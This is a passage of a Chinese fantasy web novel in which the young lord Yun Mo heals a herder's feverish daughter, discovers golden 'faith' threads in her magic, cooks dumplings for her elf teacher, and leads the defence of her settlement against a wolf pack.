那位母亲立刻不顾寒冷，撸起自己的衣袖，将粗壮的臂膀展示出来，“领主大人，别看我年纪大了些，但依旧很强壮，可以一口气灌满整口水缸呢！” 她养活了两个孩子，大的正是能吃的年纪，小的经常生病，需要很多药材。 之前大家都说，今年冬天一定会特别冷，她的小女儿可能坚持不到春天。 她伤心极了，每天都要流泪。 最近小姑娘也会睁着大眼睛问：“妈妈，我要死了吗？” 她知道妈妈和姐姐每天都在努力养牛，希望能多卖一点牛奶换药。 我太坏了，也太痛了，她想。 几天前，母亲还只能空洞无力地安慰，可现在不同了。 “不，你不会的，领主大人是强大的魔法师，拥有很多药材，一定会治好你的！” 但换取药材需要付出劳动。 云漠看到了她眼底的渴望，不像别人是对好生活的渴望，而是求生，一种求生的执念。 “好吧，反正需要考核，如果你能通过的话，当然可以留下来。对了，你叫什么名字？” “我叫青草，领主大人，感谢您的慷慨和仁慈！” 平民是没有姓氏的，大家也都不识字，只是乱取，看见什么、想到什么就用什么。 就像大小河两姐妹，因为族人就生活在河边，妈妈生姐姐的时候是夏天，水位上涨，是条大河；生妹妹的时候正逢枯水期，水位暴跌，就叫小河。 听说可以公平竞争，一大半人都报名参加考核，结果是青草果然遥遥领先。 在这个烹饪水平极其落后的时空，青草凭借对食材的熟悉和勉强算得上精巧的切割技巧，以及掌管柴火堆和烧烤一心二用的基础技能，斩获碾压般的优势。 云漠都看乐了，“从今天起，青草，你就是烹饪小队长了。你将在霍莉女士的教导下进一步学习技巧，并教导、约束下面的人，能做到吗？” 除青草之外，还有四人最终入选，最大的21岁，最小的只有13岁。 水平嘛，只能说聊胜于无，但手脚都很麻利，多少有点天分，有继续培养的价值，也比较爱干净。 尤其是最后一条，对餐饮行业至关重要。 青草激动坏了，手足无措了一会儿，竟然要跪下亲吻云漠的脚尖。 云漠吓得原地起跳，“有什么话就好好说！” 她可不想搞奴隶主那一套。 青草局促地搓着手，饱经沧桑的脸涨得通红，继而发紫，看上去简直要把自己憋死了。 她的嘴巴不断开合，紧张地吞咽着唾沫，最后才声音颤抖地恳求道：“领主大人，我，我可不可以提前支取报酬……” 在场的其他养牛人都惊恐地睁大了眼睛，你怎么敢啊！ 太可怕了，太过分了！ 万一领主大人觉得你贪婪，将你赶出去怎么办！ 青草也知道这样不好，但她没有办法，只能羞愧地低下头颅，任由泪水滑落，“领主大人，我，我的女儿快要死了，我没有办法……” 或许我真的太过分了，青草默默地想，如果领主大人不是这么和气，我一定不敢开口。 但既然窥见了一丝希望，一个母亲怎么可以不试试就放弃呢？ “带我去看看。” 平静的声音在青草头顶响起。 她愣住了，几乎不敢相信自己的耳朵，过了好久才猛地抬头，露出一张湿漉漉的脸。 “带我去看看。”云漠重复了一遍，语气中没有想象中的怒火。 “啊对对，好的好的！”青草喜极而泣，胡乱抹着脸上的泪水，跌跌撞撞往外跑去。 她太高兴了，也太激动了，中间甚至摔了一跤。 青草的小女儿确实病得很重，她在发烧。 云漠立刻让青草打来清水，先给小姑娘物理降温，然后请玛雅姨妈开库房，支取药材熬药，“烧了几天？” 因为不确定是否有传染性，云漠进门前特意戴了面罩，声音听起来有些沉闷。 另一个大点的女孩儿抽泣着回答，“三天，但是前两天没有这么热。” 她曾亲眼目睹部落中的长辈们滚烫着死去，妹妹也会这样吗？ 云漠想了下，直接将药量加倍。 这个剂量肯定有点重，或许会有后遗症，但病人烧了足足三天，已经有休克的征兆，再不赶紧退烧命都要没了。 “怎么生病的？受凉还是怎么？”云漠问。 必须尽快确定病因，万一是传染性的，那可是个大麻烦。 青草已经止住眼泪，红着眼眶说：“秋天的时候她帮我放牛，不小心摔了一跤，腿磕破了，伤口一直没有好。” 感染！ 云漠立刻掀开被子，果然在小姑娘的大腿上发现了一个巨大的伤口。 伤口上覆盖着“纱布”，但布片已经完全盖不住了，侧面露出的伤口严重感染化脓，红肿的边缘高高鼓起，缓缓渗出许多恶心的恶臭液体。 青草母女惶恐极了，二话不说噗通跪下，“领主大人，怎么能让您……” 云漠催生出细细的藤蔓，直接将那块脏兮兮的“纱布”挑飞，扔到火堆中焚烧，“不亲眼看看病患的情况怎么能治病呢？去告诉玛雅女士，我需要干净的布料和热水，布料要先在水里反复煮开，再找霍莉要麻痹药水，快去，马上。” 养牛人部落的生存条件很差，并没有多少富余，这块包扎伤口的布片都不知多久没换了，仿佛随时都会滋生出驱虫，看上去非常恶心。 与其这样，还不如直接让伤口暴露呢，以现在的气温，反而不容易感染。 云漠立刻决定，今晚就紧急召开医疗卫生科普！ 母女二人顾不得许多，连滚带爬地去了。 作为曾经的户外求生达人，云漠有着相当丰富的外伤处理经验和急救常识。 纱布和热水就位后，她先反复清洗了自己的双手，用麻痹菇的汁液涂抹伤口，然后用纱布一遍又一遍擦拭，直至腐肉完全清除，露出内部新鲜的肌肉组织。 在“麻药”的作用下，小姑娘并未感觉到多少疼痛，仍是昏昏沉沉的。 接下来洒药粉、包扎的活儿就可以交给青草母女了。 “记住，包扎的布条每天都要更换，更换前要像我刚才那样先清理干净……最重要的是，动手前要先消毒，嗯，就是洗手，反复洗手，必须用肥皂洗手，不可以偷懒。” 做完这一切之后，药汤也熬好了，直接灌下去。 猛药确实有效，仅仅一个小时后，小姑娘的体温就降下来了。 所有人都松了口气，青草母女更是哭着要给云漠磕头，谁都拦不住。 这是一无所有的人唯一能够拿出手的感谢方式了。 几乎是同时，云漠隐约感到体内似乎多了点什么。 金色的丝状物，跟精神力交缠在一起，非常微弱，但确实存在。 第55章 金丝 本该无色的精神力中突然出现金丝，刚“急诊”结束的云漠第一反应就是：该不会真的感染了某种奇怪的病毒吧？ 但她的身体没有任何不良反应，尝试调动精神力，运转一如既往的流畅。 云漠走出屋子，弯腰拨开积雪，拔起一根沉睡中的枯草，发动魔法【新生】。 枯黄的草叶迅速挺拔、丰盈，像泡到水里的压缩毛巾一样舒展开来，脉络中点点绿意疯狂游走，呈现出与雪景完全背离的生机。 跟以前相比，施法效果没有明显差异。 云漠甚至剥开每一片叶子的表皮，也没发现什么金丝染色。 难道只是单纯的变异？ 人家是水系变异成冰系，我这个是……染了个虚无的色？ 云漠不死心，【透视】【画地为牢】【荆棘突刺】挨着来了两遍，然后终于发现了一点不同。 现阶段她对这几个魔法已经非常熟悉，熟悉到形成肌肉记忆，每次施法的消耗、结果也都很稳定。 假设无损状态她的精神力储备是100，那么以小草为对象的【新生】消耗量是1，1立方米空间内的【透视】消耗量大约是3，【画地为牢】和【荆棘突刺】属于综合型主动攻击性魔法，消耗大一些，又因为分支较多，难免有波动，8~13之间的消耗都算正常。 也就是说，她刚才将这四个魔法重复两轮的消耗量应该在24到34之间。 考虑到精神力会在消耗的同时恢复，云漠刻意压缩了施法间隙，将“出水口”和“进水口”的影响降到最低。 虽然精神力这种东西没办法精准测量，但常年精打细算的云漠非常肯定，消耗量少了！ 刚才之所以没能在第一时间觉察到，是因为单位变化的幅度太小了！ 现在一口气八个魔法轰下来，积少成多，终于被云漠捕捉到。 这种幅度变化相当微弱，大致是从最低24降到22左右的样子，但比例惊人！ 百分之二！ 意识到这一点的云漠久违的兴奋起来，强行调整呼吸，抬手构建了一个虚空魔法阵。 虚空魔法阵的消耗远超手动施法，云漠的精神力储备瞬间下降了一大截。 这次非常明显，消耗确实少了！ 如果不是短时性偶发事件，就意味着在一切条件不变的前提下，云漠将得到更高的回报。 但为什么？ 引发这一变化的契机是什么？ 回忆这几天的行为，唯一的变数就是青草等养牛人的加入，而这个变化则出现在青草母女对自己表达感谢之后。 会是这样吗？ 如果是……云漠不禁联想到一种可能性。 这种联想让她心跳加速，指尖都因为激动而微微颤抖。 她需要观察。 刚一回到城堡，玛雅姨妈就迎了上来，“怎么样？” 云漠暂时压下种种猜测，简单说了青草那边的情况。 玛雅姨妈松了口气，又将另一份清单递过来，“关于组建巡逻队的事，我有些犹豫……” 经过几天的努力，“三重篱笆城墙”已基本竣工，以城堡和水车为中心，将那一亩试验田、旧菜园、牛棚马圈鸡窝，以及新居民们的住处和大片草地拱卫起来，形成了一座约五亩大小的生活区和城镇雏形。 这只是第一步。 建好了城墙，还要有巡逻队才行。 但组建巡逻队可是个技术活儿，事关所有人的安危，从没处理过类似问题的玛雅姨妈感受到了压力。 云漠想了下，“明天让霍莉组织一次大考核吧！” 原养牛人们没有信仰，自然孕育不出石斧那样的兽人战士，也无法像绿藤那样感应魔法元素。 她们只是普通人。 论综合实力，现在肯定是云漠。 但论及个人武力，当属金刚霍莉。 冬天的晚上巡逻负担很重，云漠放出话去，队员们每晚都能得到一杯甜甜的糖水，轮值期间产生的任何消耗都可以报销。 如果因为公共原因伤亡，那么她也会对其本人或家属给予相应的嘉奖。 消息传开后，阿茜等人再次沸腾。 这意味着什么？ 至少能省一个人的家用！ 就算死去，也不是白死！ 阿茜年纪大了，视力也不好，对此不抱希望，却以卓越的见识鼓励同伴们积极参与。 “以后这里的人一定会越来越多，不趁着现在努力争取，还等什么呢？” 听领主大人的意思，至少需要12名成员交替巡逻才能保障运行，而她们这群人一共才43个，去掉5名跟着霍莉女士做甜品的，再去掉老弱……录取率高得惊人！ 大家都对即将到来的筛选充满了期待，又紧张，晚上几乎人人失眠。 云漠也没睡好，翻来覆去都在琢磨“金丝”的事儿。 于是第二天一群人都顶着黑眼圈相见。 巡逻包括观察、示警和初步组织抵抗、传讯等，要的就是胆大心细，霍莉像模像样地弄了几个项目，分别考察视力、嗅觉、力量、速度等。 会射箭和基本的格斗技巧，可以额外加分。 这么一考察，还真发现了问题：有个别成员色弱，五名成员夜盲！ 在食物短缺、营养匮乏的情况下，夜盲非常普遍，只要不是先天性的，大多可以通过调整饮食结构治愈。 但肯定赶不上这一批了。 因夜盲症落选的几个人难过得哭了起来。 在草药的帮助下，退烧后的青草的女儿很快清醒过来，一直脓肿溃烂的伤口也干爽平整了许多，伤口边缘向内收敛，真正开始恢复了。 云漠再一次去探望时，母女三人的眼神已彻底变为狂热，对她的个人崇拜完全超越了前任族长阿茜。 毫不意外的，云漠精神力中的金丝又粗壮了一点点。 次日，大雪停了，天空中久违的出现了太阳，云漠决定去纳林霜老师家一趟。 白雪覆盖下的大地被冻得梆硬，云漠催生藤蔓赶路时，都能感受到植物破土而出时的艰涩。 纳林霜对她的到来颇为意外，“进来吧。” 一进门，云漠就闻到了空气中淡淡的焦糊味，差点笑出声。 哦，看来随着师徒情分的加深，老师的烹饪技巧也实现了同步下滑…… 纳林霜对弟子憋笑的扭曲面孔视而不见，问明来意后说：“看来在部分人心目中，你已经是出色的领袖了。” 简单来说，那种金色的东西就是信仰，只会出现在杰出领袖身上，进一步增强她们的实力，进而打造出令人信服的威望和气势。 人类弟子最近刚遇到这个问题，就证明她一定是做了什么，让那些新加入的养牛人信服，甘愿献出忠诚。 对这个结果，云漠早有猜测，并不意外，只是有些不解。 说起来，玛雅姨妈和霍莉她们陪伴自己的时间更长，关系更加亲密，相互之间也更信任，为什么却没有出现信仰之力呢？ “或许你们之间的羁绊没有你想象得那样牢不可破，”纳林霜冷酷又理智地分析，“又或许你混淆了信仰和亲情。” 啊！ 这句话太关键了，云漠脑海中某个混沌的角落瞬间清明。 是的，正是因为玛雅姨妈和霍莉陪伴自己一路走来，即便是后者，她们之间的感情也早已从主仆升华为不可分割的亲人。 相较于品尝到利益回报后才产生的信仰，自然是充满了爱意和冲动的亲情更加牢不可破。 确定不是坏事后，云漠熟练地煮了一壶奶茶，问了个异常大胆的问题，“之前我曾听别人说过，神明才有信仰之力，那么各族领袖身上的这个和神明的有什么关联吗？” 这边常见的是一种原始红茶，口感比较粗糙，产量也不多。 但精灵族内部分享的经过了特殊培育，味道非常接近云漠熟悉的大吉岭，加入牛奶后丝滑甘甜，很好喝。 纳林霜矜持地端起茶杯，浅啜一口，不得不承认，自己的手艺确实相当一般。 早在云漠开口说起身体的异样时，精灵就已经联想到这个问题。 但这种事情解释起来非常麻烦，除非真正经历过那种变化，否则很难描述具体细节。 短暂的沉默后，纳林霜给出了一个非常精妙的解读：“就像水变成冰。” 云漠秒懂。 本质上，领袖的信仰之力和神明的信仰之力没有多大区别，都是虔诚的奉献、绝对的信任、无私的付出。 但后者的等级显然更高，也更纯粹。 或者说更疯狂。 这二者之间的转变需要契机，一个从量变实现质变的契机。 但契机会在何时以何种形式到来？谁也说不准。 没经历过的生物不懂，经历过的也不会主动开口。 整件事就像一个摆在高处的门槛，看得见，摸不着。 结合前世今生的见闻，云漠反复分析，慢慢得出新的结论。 说白了，这是天时、地利、人和缺一不可的蜕变，或许也可以称之为“悟”，魔法世界版本的“飞升”。 不过这里“飞升”成功的“仙人”，似乎更接地气，更世俗一些。 TA们会主动索取。 云漠曾亲眼目睹精灵族在祭祀庆典上向生命女神献祭，那种沟通和反馈是领主的“金丝”完全不能比拟的高度。 领主阶段的信仰是一个被动接收的过程，不能主动索取，也无法直接回馈给信众。 但神明就不同了。 神明通过各种方式降下神谕，主动汲取信徒的信仰，增强自身之后，又以神谕的形式反馈出去，淬炼对方的信仰和忠诚，然后再滋生出新的信仰，形成一个良性循环，生生不息。 这就是神明的真正可怕之处： 信念不死，神明不灭。 第56章 野兽 人。 神。 人成神。 神不灭…… 各种念头疯狂穿梭，云漠思考了很久，直到狂热的心跳渐渐平静。 现阶段想再多都没有。 就跟琢磨去北大还是清华一样，不把分数先提上来，想得再好也白搭！ “老师，您吃了吗？” “嗯？” 猝不及防的话题转换让纳林霜懵了一下。 刚才不还在讨论神的问题么？ 云漠笑笑，没多解释，熟门熟路往厨房转了一圈。 根据内部陈设的整齐、整洁程度来看，留的馅饼吃完后，自家老师就开始餐风饮露了。 没收弟子之前，这位铭文大师好歹还能自己糊弄着炖肉，结果几个月“衣来伸手饭来张口”的安稳日子过下来，就只会天天凉拌生菜叶子了。 云漠忍不住恶趣味地想，等再过几年纳林霜对自己的依赖更深，会不会有一天饿昏在厨房外…… 她挖出来一大条肥瘦相间的好牛肉，又从完全被纳林霜当成绿化带的室内迷你小菜园里摘了点芹菜，准备和面包饺子。 大冷天的跑一趟，她也饿了。 得亏她饿了，不然估计这条牛肉能一直放到来年开春！ 几发【荆棘突刺】轰出去，“噗噗”声不绝于耳，肉块瞬间变肉泥，把荆棘尖刺随手一拨拉，肉馅儿就得了。 再催生细细的藤蔓做手臂状，顺着一个方向搅拌上劲儿，格外有弹性。 学习就是为了用的，云漠觉得魔法真是个好东西！ 成年后云漠虽然满世界乱窜，但骨子里是个地道北方人，能包一手好饺子： 左手摊皮，右手抹馅儿，完了之后双手后三根手指虚虚搂着交叉，上面四根用点巧劲儿，一只神采飞扬的旁水饺就得了，保准皮薄肚大！ 整套步骤极其流畅，平均每只水饺从零部件到成型不过短短几秒钟，十分手指飞一样。 这还是云漠第一次当着纳林霜的面包饺子，精灵一开始只是好奇，可一眼撇过来，就被吸引住了。 这简直就是另一种魔法！ 云漠包了两种馅儿，纯牛肉和芹菜牛肉的，先数出几十只煮了吃，剩下的都包好，直接丢到窗外雪堆里去。 零下多少度呢，转眼就能冻成冰坨子，根本坏不了！ 传说中坏脾气的铭文大师捧着一只本该拌蔬菜沙拉的浅口大碗，安安静静地吃着，氤氲的热气模糊了精致的面孔。 也不知人类怎么做的，这种叫水饺的光滑的小东西里面裹满了鲜美的肉汁，内馅还格外有弹性。 精灵很喜欢。 对面云漠也吃，抽空抬头，就能看见那双尖耳朵轻轻抖动，无声散发出愉快的气息。 云漠：“……” 别的不说，这位老师在厨艺方面，真就不愧为美丽废物。 如果不是擅长木系魔法，能催生点水果蔬菜充饥，一早去见什么生命女神去啦！ 她叹了口气，认命地嘱咐，“我包了很多，也写了做法，沙漏上也画了线，您照着煮就好。如果银星老师也来，用这个招待也不错……” 别冰天雪地的，两只空巢老精灵对坐着喝风。 多凄惨呐！ 很久没包饺子，分量有点把握不好，馅儿用完了还剩一块面团，云漠想了想，干脆烙成葱油饼。 纳林霜厨艺稀烂，偏偏嘴巴又很刁，遇到喜欢的绝对不会吃撑，但遇不到合口味的宁可天天啃草。 比如坚决不吃葱，但云漠做的葱油饼、葱油面却很喜欢。 纳林霜慢条斯理用完餐，这才说：“春天之前，银星都不会过来。” 精灵巡逻队的巡视范围会根据季节、事件随时调整。 春末到秋末是人类活动高峰期，所以精灵会加强对浩瀚森林东南边界的防控； 而漫长的冬季可能促使无尽黑山深处的堕落魔兽外溢，精灵族自然会将防守重心转移到西、北两侧。 银星和紫叶所在的巡逻队就是其中之一，呼尔雅的队伍也在前几天启程了。 甚至就连纳林霜，也会从下个月开始逐渐向那边迁移，进行外部防御大阵的维护和修补。 难怪一口气放两个多月寒假，原来开春之间都见不到了。 “那岂不是很危险？我能帮上什么忙吗？” 失落之余，云漠也难免担忧。 相传堕落魔兽被黑暗之神诱惑，生性残暴，相当一部分会使用黑暗魔法，自带腐蚀性，杀伤力极强。 作为这里的一员，云漠没想过逃避。 “只是警戒而已，魔兽不会轻易大规模入侵。”纳林霜难得笑了下，如雪山融水，声音都柔和了，“况且还有矮人族协助。” 矮人族就居住在无尽黑山脚下，毗邻浩瀚森林，距离堕落深渊几个出入口很近，单从地理位置来看，可比森林精灵危险多了。 所以每年冬天两族贸易之余，也要协同防御。 这也是分明双方摩擦那么多，却偏偏从未真正中断过往来的真正原因： 谁都离不开谁。 确认不需要自己帮忙后，云漠又问：“堕落魔兽会入侵到阿索城一带吗？我是否也需要加强防范？” 这可是她第一年做领主，一定要确保万无一失。 “堕落魔兽不会走得那么远，”纳林霜从书架取下一副地图展开，指尖从最近的无尽深渊入口一直滑到阿索城旧址，再到现在她们所在的位置，清冽的声音如雪水般流淌，“但堕落魔兽下山势必会侵占其他野兽的领地，或许会引起浩瀚森林内的小范围恐慌，迫使部分野兽外迁。” 云漠顺着地图看了眼，发现确实挺远的，中间隔着不少人类国度呢。 嘿，丹茂王国比阿索城更西！ 突然就舒服了！ 也就是说，云漠这群人基本不可能直接对上堕落魔兽，但大概率会面临普通野兽的侵扰。 这也是曾经养牛人部落的最大危险来源。 那还好！ 云漠大大松了口气，不再耽搁，立刻返程。 野兽下山确实有危险，但如果防范得当，就能坐收兽皮和兽肉！ 一定要好好谋划！ 回去的路上起了大风，云漠还特意顶风感应，尝试召唤风系魔法元素。 结果夹杂着雪粒的寒风如刀，吹得人睁不开眼，除了收获两行鼻涕之外，连根毛都没捞着，人都快冻傻了…… 回去时天色擦黑，距离领地围墙还有几十米时，洪亮的喊声就穿透寒风，直直刺入云漠的耳朵： “谁？这里是阿索城的领地！禁止擅闯！” “是我！” 云漠笑着回应。 几天训练下来，巡逻队竟也很像个样子了。 分明藤蔓迅速逼近，两个被皮袄裹成球的巡逻队成员很有点不好意思，“领主大人，我们不知道是您。” 刚到手的热乎工作，大家都很卖力，生怕被别人顶替了。 可万万没想到，差点把领主大人当闯入者拿下！ 她们这样认真负责，云漠高兴都来不及，当场给予夸奖肯定，把两人美坏了。 第二天一早，巡逻队成员们就在阿茜和霍莉的轮流指导下开始练习射箭、投掷和格斗。 尤其在听两位同伴说起昨晚领主大人对她们的肯定后，大家就更卖力了！ 谁不想得到赏识呀！ 等熟悉这种模式后，她们还将根据各自的特长组建三人小队，分别承担进攻、防御和示警辅助的职责，为以后的团体作战做准备。 实践证明，训练有素的军队足可抵挡数倍于己方的“散沙”，哪怕这些人达不到专业士兵的水准，长时间的集体训练也足以让她们的战斗力上一个新台阶。 等开春之后，云漠还打算聘请石斧等兽人联盟的职业战士来当教练…… 而现在么…… 接连几天，云漠每天从早上睁眼到晚上睡觉，都只干一件事：绘制魔法卷轴！ 全都是杀伤力最大的【荆棘突刺】，激发瞬间魔法阵半径能达到1.2米，荆棘尖刺数量超百根，什么猛兽都能轰成肉泥。 到时候她就背个大包袱，走哪儿打哪儿，妥妥的移动炮台！ 危险比想象来得更快些。 十二月中旬的一个晚上，月亮很大，但表面盖着一层灰蒙蒙的雾气，不怎么亮，照在地上有些模糊。 很冷，仿佛空气都被冻结了，吸气时简直像有小刀片在气管里切割，细碎的疼。 巡逻小队举着火把来到围墙西侧时，忽然听到一阵细微的摩擦声，立刻停住脚步。 两人竖起耳朵听了一会儿，对视一眼： 野兽！ 那是野兽的肉垫踩在地上，碾压雪面和冰花的声音！ 她们可太熟悉了！ 乌云不知什么时候遮住了月亮，星光黯淡，围墙外的夜色十分浓重，像化不开的墨。 在这样纯粹的黑夜里，隐隐泛着几点黄绿色的亮光。 是野兽。 寒冬阻断生机，恶邻抢占地盘，饥肠辘辘的它们深夜结队而来，如往年一般闯入人类聚集地，想看看是否能觅得一顿宵夜。 熟悉的“食堂”空了，它们嗅着空气中的味道，又走了好远。 可营地外围有数米高的围墙，难以翻越，内部又有燃烧的火堆，令它们畏惧。 兽群蠢蠢欲动之际，两名巡逻人员毫不犹豫地吹响了示警的号角！ 所有人都从睡梦中惊醒，明亮的火光从每一个窗口倾泻而出，云漠直接从窗子里翻了出来，瞬间踩着藤蔓来到现场。 “领主大人！”巡逻人员行了礼，“我们看到有野兽，不止一只！刚才被号角声吓跑了！” 云漠注意到她们的脸色，“知道是什么野兽吗？” 外面夜色正浓，野兽的底细却不清楚，不是贸然出去的好时机。 “是鬼狼！”另一个矮壮的女人大声道，她的声音中充满了愤怒，“以前我们好多同伴和牛都被它们吃掉了，是一种非常凶残、贪婪的野兽！” 后半夜，大家都没睡，天亮后也在热烈而紧张地讨论着。 曾经的养牛人都有种劫后余生的侥幸。 如果还是继续原来那种生活方式，现在她们肯定又要面对失去同伴的痛苦。 “它们还会再来吗？” 玛雅姨妈紧了紧皮袄，眼睛死死盯着远处的森林，眼底静静翻滚着某种浓烈的情绪。 以前她们住在王城中，可从没有过被野兽滋扰的烦恼！ 云漠安慰道：“放心吧姨妈，城堡里很安全，而且我会干掉它们的！” 狼，群居，记仇，执拗，它们不会轻易放弃的。 玛雅姨妈狠狠拍了下桌子，恨得牙痒痒，“太可恶了！竟然想抢走我们辛苦养大的牛马和鸡鸭！” 才过了几天好日子啊，那些该死的东西！ 说完，她用随时都像要喷出火来的眼睛看着云漠，“等你杀死它们，我一定要亲手缝几条狼皮褥子！” 任何打断我们美好生活的东西都要去死！ 原本只想安慰的云漠：“……好。” 合着您是一点儿没在怕的呀！ 第57章 【捉虫】猎杀 狼是很狡猾的动物，具备相当的战略意识，精通团队配合。 遇到障碍时，它们甚至会为队友搭建阶梯。 近六米高的领地围墙阻挡普通野兽和人类绰绰有余，但并不足以拦截狼群。 大雪还在继续，云漠让巡逻队加强警戒，其余人都去砸开蓄水池的冰面，舀水浇在围墙墙头上。 所有人都动了起来。 就连最年幼的小河也紧抿嘴唇，嘿咻嘿咻抱着一盆水，踮着脚尖递给大姐姐们。 天气很冷，冷水溶解积雪后立刻沿着墙壁凝固，给围墙贴了一层滑溜溜的冰壳。 狼群确实可以配合翻墙，但前提是要踩在墙头上借力，而现在这面冰墙光滑如镜，还可能粘住它们温热的肉垫…… 这下除非外来者会飞，否则无论如何都翻不过六米的高墙了。 云漠则爬上甜品屋的房顶，眯着眼扫视前方的密林。 六亩多的领地成功将距离城堡200米的小半条支流和附近的甜品屋划进来，等到开春后河水解冻，新一批肥美的电球鱼将再次丰富阿索城的餐桌。 甜品屋这边的围墙上也开了个门，以后各族贸易、用餐，就可以走那里，很方便。 雪天光线不好，密林中又多杉、松，哪怕冬天也郁郁葱葱的，进一步遮挡了光照。 再加上纷飞的密集雪片，能见度不足10米。 肉眼无效，云漠当机立断使用了魔法【透视】。 初步掌握了水系魔法后，她对水系魔法元素的感应也更加敏锐，在水边，在这大雪纷飞的湿润森林中，木系魔法元素和水系魔法元素空前活跃！ 在云漠的精神世界中，绿色和蓝色光点密密麻麻填充了整片空间，轻松勾勒出若干轮廓。 是狼群！ 它们没有离开。 十只左右，分不出公母，或站或趴，明显在等待着什么。 趴伏的几只不好观察，站立警戒的几只肩高超过一米，体长近两米，相当庞大。 其中有一只格外强壮，体型明显比队友大出一圈，被拱卫在中央，应该是头狼。 显然昨夜的失败没能打消它们觅食的冲动，这也是意料之中的事。 阿索城位于冷水河主干以北，衔接多个国家，曾是这一带人类世界中最靠近精灵国的城镇。 后来阿索城荒废，养牛人部落追逐水草，代替阿索城紧挨冷水河生活。 几乎每年这个时候，她们都会遭受各种野兽的侵扰，就像这次的鬼狼。 习惯了熙熙攘攘的现代国人大约很难理解“地广人稀”这四个字。 这么说吧，狼群之所以徘徊不去，正是因为“食物”太过分散。 厚重的积雪和冷硬的寒风成倍消耗着狼群的体力，每一次狩猎都是生与死的较量，它们必须精准计算，否则很可能倒在捕猎的路上。 距离这边最近的人类部落正是虎部落，哪怕狼群全力狂奔，最少也要三天。 如果舍弃这边，饥肠辘辘的狼群根本坚持不到下个目标。 另一方面，普通野兽的智慧可能不如人类，但它们拥有惊人的直觉，并将各种生存经验和教训深深刻入血脉，一代代传下去。 对这一带绝大部分野兽而言，兽神联盟的战士们不主动猎杀它们就谢天谢地了，哪怕饿死在外面，也比自投罗网强不是吗？ 不知为什么，今年冬天的兔子少了很多，根本喂不饱饥肠辘辘的狼群。 忍着饥饿捕猎的滋味儿不好受，头狼有些暴躁，掀开嘴唇，露出犬齿，呵斥了试图靠近的几只同伴。 它饿了，无比思念柔软的人肉和肥嫩多汁的牛犊。 可惜那些食物都跑到前面的大圈子里去了，它能闻到。 一阵风吹来，头狼突然抬起头颅，喉间发出低沉的声响。 它嗅到了陌生的气息，就在附近。 情绪是有味道的，野兽可以轻而易举地分辨出人类的恐惧、兴奋……它们正是根据这种味道随时调整战略。 但现在，头狼并未嗅到任何恐惧和怯懦。 不是精灵，也不是那些可以兽化的人类战士，似乎只是个普通人类。 很近。 或许已经发现了它们，但……为什么没有恐惧？ 不等头狼想明白，某种尖状物刺破空气的声音伴着风雪呼啸而至！ 敌袭！ 动物可怕的求生本能让头狼躲过一劫。 它蜷缩着身体从雪坡上滚了下去，灰绿色的藤蔓擦着它的耳尖狠狠钉在地上，溅起一蓬血花，迅速融化了一小片积雪。 “嗷呜！” 不等站稳，头狼就开始召唤同伴。 声音很难听。 像狗叫，但又比狗叫更尖锐更嘶哑，像砂纸用力滑过玻璃时发出的噪音。 “啧！” 甜品屋顶上的云漠不太高兴地啧了声。 动物直觉什么的，最讨厌了。 密集的林木遮蔽视线，也完美隐去了狼群的身影，单纯的物理攻击无法跨越长达几十米的重重障碍。 但魔法支配下的藤蔓可以拐弯。 白茫茫的风雪之中，沉浸于精神力世界的云漠仍闭着眼睛，周遭的一切却像叠加图层的立体地图一样清晰，上到梢头枝叶的抖动，下到地下水的潺潺流动，一一呈现。 雪片在她两排睫毛上凝成刺球，微微颤动。 她的脚边洒满藤蔓种子，纯白与浓翠，乍一看，好像初春雪地里顽强萌发的新芽。 澎湃的精神力与木系魔法元素共鸣，形成一道道无形的涟漪，云漠身边不断有藤蔓蟒蛇般激射而出，呼啸着将密集的雪幕刺出短暂的真空轨迹。 这是一场空前的魔法盛宴。 头狼愤怒的嚎叫响彻整片森林，狼群立刻躁动起来。 被激怒的狼群非但不逃，竟在眨眼间完成排兵布阵，兵分几路朝云漠所在的方向扑来。 不，不全是为了攻击我！ 狼群一分散开，云漠就猜到了它们的打算。 狼群之所以迟迟没有对阿索城发起进攻，无非是高墙拦路，昨夜又被巡逻队叫破，打乱了它们的计划。 毕竟对狼群而言，最佳战略就是趁夜色配合翻墙。 领地这么大，围墙这么长，总会有漏洞的。 但现在人类率先发起攻击，出手狠辣，狼群等不到晚上，只能兵分几路，一部分缠住这名可恶的魔法师，另外的快速翻墙，冲入内部人群中杀戮。 云漠不允许狼群美梦成真。 她驱动藤蔓“飞出”围墙，灵活地穿梭在丛林之中，所到之处藤蔓尖刺和魔法卷轴齐飞，鲜血和精神力激活共舞。 近一年的魔法训练都在此刻结出硕果，之前的一切努力都在此刻得到丰厚的回报。 霎那间，无数个【荆棘突刺】烟花般炸开，成百上千发荆棘子弹刺破空气，刀切豆腐一样戳进狼群。 鬼狼的嚎叫声不绝于耳，滚烫的血液奔流，染红又融化了一片片雪地。 从高处望下去，活像白色幕布上怒放的红花。 战斗毫无征兆地打响，又猝不及防地结束。 短短几分钟过后，林地里就横七竖八躺倒了若干鬼狼。 有的身处魔法爆炸中心，千疮百孔，血都流干了，死得透透的。 有的却没被伤到要害，正高一声低一声地呻、吟着，拖着残躯艰难地向森林深处挪动，身后留下一道刺眼的血痕。 再次清点数量，核对无误之后，云漠才落下地来，挨个检查。 死透的拖到一起，等会儿运回去，剥皮吃肉； 快死的顺手补刀，没伤到要害的用【画地为牢】绑起来，带回去给巡逻队成员们当活靶子。 巡逻队员们常年笼罩在野兽的恐怖之下，大部分人根本没有正面对抗的勇气，昨晚能及时示警已经算超常发挥。 但云漠想要的是勇敢善战的卫兵，而不是什么人都能担任的大喇叭。 而且单纯射靶子和射活物完全不是一码事，基本功、临场发挥、心理素质缺一不可。 云漠必须打消她们的心理阴影，让大家认识到，野兽也是血肉之躯，是可以被打败的。 经过反复确认，这群狼共11只，6只被云漠找到时已经确认死亡，2只濒死补刀，2只轻伤活靶子预备役。 还有头狼。 头狼的腹部被第二波藤蔓尖刺穿透，脖子下半部分也被荆棘穿了个窟窿，正随着呼吸呼哧呼哧往外冒血，可竟然还没死！ 云漠不得不感慨一句顽强。 头狼显然很不甘心，似乎也有些后悔。 之前狼群一直在森林深处的山丘内活动，最近才被强大的对手赶到外围，没想到不久前还荒废的地方竟然有人类魔法师。 随着云漠的靠近，头狼的呼吸都急促了，嘴角喷出血沫，胸腔剧烈起伏，伤口处血流得更快了。 云漠好奇地打量着。 鬼狼，有点像狼，但比狼的轮廓更粗壮更丑陋，一身黑毛钢针似的炸开，耳尖儿上长着两簇蓬松的灰色长毛，在风中簌簌抖动。 爪子格外大，尖锐弯曲的指甲幽幽闪着光，抓过的地方都是深深的小坑。 